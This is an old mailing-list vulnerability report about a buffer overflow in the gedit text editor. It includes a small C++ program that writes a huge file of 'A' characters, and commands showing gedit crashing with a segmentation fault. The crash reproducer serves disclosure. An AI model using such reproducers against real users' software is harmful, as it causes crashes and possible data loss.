simple bufferoverflow in gedit

Andreas "Constantinides (MegaHz)" <[email protected]>
Newsgroups gmane.comp.security.vulnerabilities.watch.announce
Message-ID <1069598302.8830.24.camel__42815.5527021319$1069812902@megahz>
Hello,
I discover a strange but simple buffer overflow in gedit.
I am using RH9, 


to demostrate the buffer here is a simple file buffer generator:

===========buffer.c == cut here===============
/*
        simple buffer overflow generator by MegaHz [email protected]
*/
#include <iostream>
using namespace std;
 
int main()
{
int i;
for (i=0;i<=9999999;i++)
        {
        cout << "A";
        }
        return 0;
}
===========================================


# g++ -o buffer buffer.c
# ./buffer > lala
# gedit lala
Segmentation fault
#


MegaHz (Andreas Constantinides)
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